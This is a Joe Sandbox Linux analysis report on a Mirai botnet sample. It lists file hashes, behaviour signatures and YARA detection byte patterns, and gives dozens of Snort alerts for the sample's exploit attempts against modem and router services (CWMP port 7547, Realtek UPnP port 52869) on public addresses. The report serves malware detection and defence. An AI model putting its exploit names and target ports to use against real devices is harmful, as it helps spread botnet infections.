Edit tour

Linux Analysis Report
x86.elf

Overview

General Information

Sample name:	x86.elf
Analysis ID:	1425982
MD5:	6cc3041b0f9b56c38e92d7634d41cdb8
SHA1:	86c1f27b1e6cb7d79db16ef62a6a9f49d2f4f3c2
SHA256:	81d9234f062dbdcd55de4e2e9a8889fb3af3fd907a21cb149411b0cd42dc24b2
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mirai

Machine Learning detection for sample

Sample deletes itself

Sample is packed with UPX

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

ELF contains segments with high entropy indicating compressed/encrypted content

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains only a LOAD segment without any section mappings

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1425982
Start date and time:	2024-04-15 08:51:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	x86.elf
Detection:	MAL
Classification:	mal100.spre.troj.evad.linELF@0/0@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/x86.elf
PID:	5451
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

x86.elf (PID: 5451, Parent: 5373, MD5: 6cc3041b0f9b56c38e92d7634d41cdb8) Arguments: /tmp/x86.elf

x86.elf New Fork (PID: 5452, Parent: 5451)

x86.elf New Fork (PID: 5453, Parent: 5452)

x86.elf New Fork (PID: 5454, Parent: 5452)

x86.elf New Fork (PID: 5455, Parent: 5452)

x86.elf New Fork (PID: 5457, Parent: 5452)

x86.elf New Fork (PID: 5458, Parent: 5452)

x86.elf New Fork (PID: 5459, Parent: 5452)

x86.elf New Fork (PID: 5460, Parent: 5452)

x86.elf New Fork (PID: 5461, Parent: 5452)

xfce4-panel New Fork (PID: 5465, Parent: 3147)

wrapper-2.0 (PID: 5465, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"

xfce4-panel New Fork (PID: 5466, Parent: 3147)

wrapper-2.0 (PID: 5466, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"

xfce4-panel New Fork (PID: 5467, Parent: 3147)

wrapper-2.0 (PID: 5467, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"

xfce4-panel New Fork (PID: 5468, Parent: 3147)

wrapper-2.0 (PID: 5468, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"

xfce4-panel New Fork (PID: 5469, Parent: 3147)

wrapper-2.0 (PID: 5469, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"

xfce4-panel New Fork (PID: 5470, Parent: 3147)

wrapper-2.0 (PID: 5470, Parent: 3147, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5451.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
5451.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5451.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x37f0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
5451.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xdbd2:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
5451.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xfb51:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
5451.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xe5d3:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
5451.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xdba2:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
5451.1.0000000008048000.000000000805c000.r-x.sdmp	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth	0x112ef:$x2: /dev/misc/watchdog 0x112e1:$x3: /dev/watchdog 0x11b6e:$s3: CFOKLKQVPCVMP 0x11d3d:$s4: QWRGPTKQMP 0x11c8c:$s5: HWCLVGAJ
Click to see the 3 entries

Snort Signatures

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.235.63.108

Timestamp:	04/15/24-08:52:51.205024
SID:	2023548
Source Port:	57784
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.7.35.31

Timestamp:	04/15/24-08:52:52.241544
SID:	2023548
Source Port:	34242
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.203.35.24

Timestamp:	04/15/24-08:52:39.715114
SID:	2023548
Source Port:	53866
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.235.63.108

Timestamp:	04/15/24-08:52:50.960982
SID:	2023548
Source Port:	57774
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 105.158.31.110

Timestamp:	04/15/24-08:52:49.499829
SID:	2023548
Source Port:	55674
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 199.208.108.1

Timestamp:	04/15/24-08:52:56.138393
SID:	2831300
Source Port:	37412
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 118.211.77.66

Timestamp:	04/15/24-08:53:32.145782
SID:	2023548
Source Port:	57202
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 174.30.17.56

Timestamp:	04/15/24-08:53:42.853914
SID:	2023548
Source Port:	46856
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 178.135.107.248

Timestamp:	04/15/24-08:53:57.577510
SID:	2831300
Source Port:	38812
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.228.23.31

Timestamp:	04/15/24-08:52:35.798378
SID:	2023548
Source Port:	50842
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.231.31.157

Timestamp:	04/15/24-08:53:46.540752
SID:	2023548
Source Port:	40304
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 94.19.223.82

Timestamp:	04/15/24-08:52:50.148336
SID:	2023548
Source Port:	57424
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.77.19.215

Timestamp:	04/15/24-08:53:03.079869
SID:	2025576
Source Port:	60260
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 66.158.192.94

Timestamp:	04/15/24-08:52:53.683510
SID:	2025576
Source Port:	51654
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.202.126.64

Timestamp:	04/15/24-08:52:26.824650
SID:	2023548
Source Port:	58458
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 75.167.10.129

Timestamp:	04/15/24-08:53:39.883267
SID:	2023548
Source Port:	33210
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 119.218.187.121

Timestamp:	04/15/24-08:53:21.577112
SID:	2023548
Source Port:	55586
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 109.228.0.43

Timestamp:	04/15/24-08:53:41.600518
SID:	2025576
Source Port:	46232
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 221.163.52.251

Timestamp:	04/15/24-08:53:58.369268
SID:	2023548
Source Port:	58792
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 187.101.231.247

Timestamp:	04/15/24-08:52:12.979653
SID:	2023548
Source Port:	48190
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 69.146.21.164

Timestamp:	04/15/24-08:53:42.061800
SID:	2023548
Source Port:	58076
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 168.121.175.155

Timestamp:	04/15/24-08:53:05.327156
SID:	2023548
Source Port:	58130
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 185.32.243.72

Timestamp:	04/15/24-08:53:15.201357
SID:	2025576
Source Port:	52664
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 222.116.185.253

Timestamp:	04/15/24-08:53:52.773561
SID:	2023548
Source Port:	36478
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 164.250.228.64

Timestamp:	04/15/24-08:52:40.654313
SID:	2027339
Source Port:	38116
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 67.254.135.9

Timestamp:	04/15/24-08:53:04.853977
SID:	2023548
Source Port:	39682
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 72.174.122.72

Timestamp:	04/15/24-08:53:43.711558
SID:	2023548
Source Port:	57532
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.124.126.76

Timestamp:	04/15/24-08:53:49.475713
SID:	2023548
Source Port:	49910
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 59.17.129.113

Timestamp:	04/15/24-08:53:00.817017
SID:	2023548
Source Port:	45618
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 190.34.112.81

Timestamp:	04/15/24-08:53:17.653125
SID:	2023548
Source Port:	48588
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.237.109.14

Timestamp:	04/15/24-08:53:42.734696
SID:	2023548
Source Port:	33402
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 94.122.51.36

Timestamp:	04/15/24-08:53:46.931624
SID:	2023548
Source Port:	42008
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 47.36.49.89

Timestamp:	04/15/24-08:52:23.202827
SID:	2025576
Source Port:	42896
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 104.89.94.146

Timestamp:	04/15/24-08:52:15.887474
SID:	2025576
Source Port:	37592
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 27.19.253.176

Timestamp:	04/15/24-08:53:17.262405
SID:	2025576
Source Port:	58746
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 94.19.223.82

Timestamp:	04/15/24-08:52:49.822242
SID:	2023548
Source Port:	57404
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 138.137.77.164

Timestamp:	04/15/24-08:53:10.058834
SID:	2831300
Source Port:	58058
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.102.2.117

Timestamp:	04/15/24-08:53:14.158139
SID:	2023548
Source Port:	49008
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 67.1.126.103

Timestamp:	04/15/24-08:53:08.658038
SID:	2023548
Source Port:	59594
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 94.121.73.158

Timestamp:	04/15/24-08:53:20.528525
SID:	2027339
Source Port:	56806
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 71.34.5.73

Timestamp:	04/15/24-08:53:29.574316
SID:	2023548
Source Port:	39942
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 39.62.213.120

Timestamp:	04/15/24-08:52:14.080492
SID:	2023548
Source Port:	44724
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 72.228.172.154

Timestamp:	04/15/24-08:53:05.080211
SID:	2023548
Source Port:	59492
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.36.252.194

Timestamp:	04/15/24-08:53:21.813411
SID:	2025576
Source Port:	43136
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.98.165.249

Timestamp:	04/15/24-08:53:37.745675
SID:	2023548
Source Port:	41904
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 39.62.213.120

Timestamp:	04/15/24-08:52:14.534538
SID:	2023548
Source Port:	44754
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 72.228.172.154

Timestamp:	04/15/24-08:53:04.841765
SID:	2023548
Source Port:	59462
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 222.102.175.140

Timestamp:	04/15/24-08:52:26.760288
SID:	2023548
Source Port:	49486
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 150.116.154.175

Timestamp:	04/15/24-08:52:28.786011
SID:	2025576
Source Port:	54616
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.203.67.40

Timestamp:	04/15/24-08:53:51.067327
SID:	2023548
Source Port:	60802
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 83.132.232.71

Timestamp:	04/15/24-08:53:52.846390
SID:	2023548
Source Port:	48604
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 76.174.225.138

Timestamp:	04/15/24-08:52:13.729800
SID:	2023548
Source Port:	50144
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.221.223.80

Timestamp:	04/15/24-08:52:25.802589
SID:	2023548
Source Port:	56864
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.127.51.150

Timestamp:	04/15/24-08:53:08.107359
SID:	2023548
Source Port:	58750
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 119.218.187.121

Timestamp:	04/15/24-08:53:21.873706
SID:	2023548
Source Port:	55676
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.127.51.150

Timestamp:	04/15/24-08:53:07.820564
SID:	2023548
Source Port:	58740
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.234.28.251

Timestamp:	04/15/24-08:52:42.734165
SID:	2023548
Source Port:	53342
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 111.92.62.176

Timestamp:	04/15/24-08:52:56.480509
SID:	2023548
Source Port:	55122
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.160.36.20

Timestamp:	04/15/24-08:53:42.259255
SID:	2023548
Source Port:	54868
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 174.129.15.207

Timestamp:	04/15/24-08:52:36.405596
SID:	2025576
Source Port:	57896
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 213.5.110.7

Timestamp:	04/15/24-08:52:46.025738
SID:	2023548
Source Port:	44992
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 189.15.71.96

Timestamp:	04/15/24-08:53:56.818103
SID:	2023548
Source Port:	57428
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.64.254.79

Timestamp:	04/15/24-08:53:21.492622
SID:	2025576
Source Port:	35670
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 203.63.103.182

Timestamp:	04/15/24-08:52:57.437296
SID:	2023548
Source Port:	47590
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 118.190.246.2

Timestamp:	04/15/24-08:53:35.086726
SID:	2025576
Source Port:	36156
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 218.108.130.74

Timestamp:	04/15/24-08:53:59.005358
SID:	2023548
Source Port:	37304
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.243.85.101

Timestamp:	04/15/24-08:53:50.068223
SID:	2023548
Source Port:	55128
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 101.102.220.137

Timestamp:	04/15/24-08:52:55.714739
SID:	2027339
Source Port:	54256
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 24.177.155.54

Timestamp:	04/15/24-08:53:32.960577
SID:	2023548
Source Port:	53410
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 2.91.191.209

Timestamp:	04/15/24-08:53:08.538436
SID:	2023548
Source Port:	43094
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 192.180.170.154

Timestamp:	04/15/24-08:53:48.778068
SID:	2023548
Source Port:	51776
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 164.167.226.105

Timestamp:	04/15/24-08:53:32.422688
SID:	2831300
Source Port:	55176
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 104.96.195.237

Timestamp:	04/15/24-08:53:41.642180
SID:	2025576
Source Port:	48102
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 164.250.228.64

Timestamp:	04/15/24-08:52:40.654313
SID:	2025132
Source Port:	38116
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 104.240.53.105

Timestamp:	04/15/24-08:52:13.847512
SID:	2023548
Source Port:	53518
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 221.147.219.158

Timestamp:	04/15/24-08:53:37.427870
SID:	2023548
Source Port:	45432
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 41.10.146.216

Timestamp:	04/15/24-08:53:05.232211
SID:	2023548
Source Port:	44886
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 188.234.22.65

Timestamp:	04/15/24-08:53:01.966247
SID:	2023548
Source Port:	59784
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 110.175.37.78

Timestamp:	04/15/24-08:52:57.786092
SID:	2023548
Source Port:	46186
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

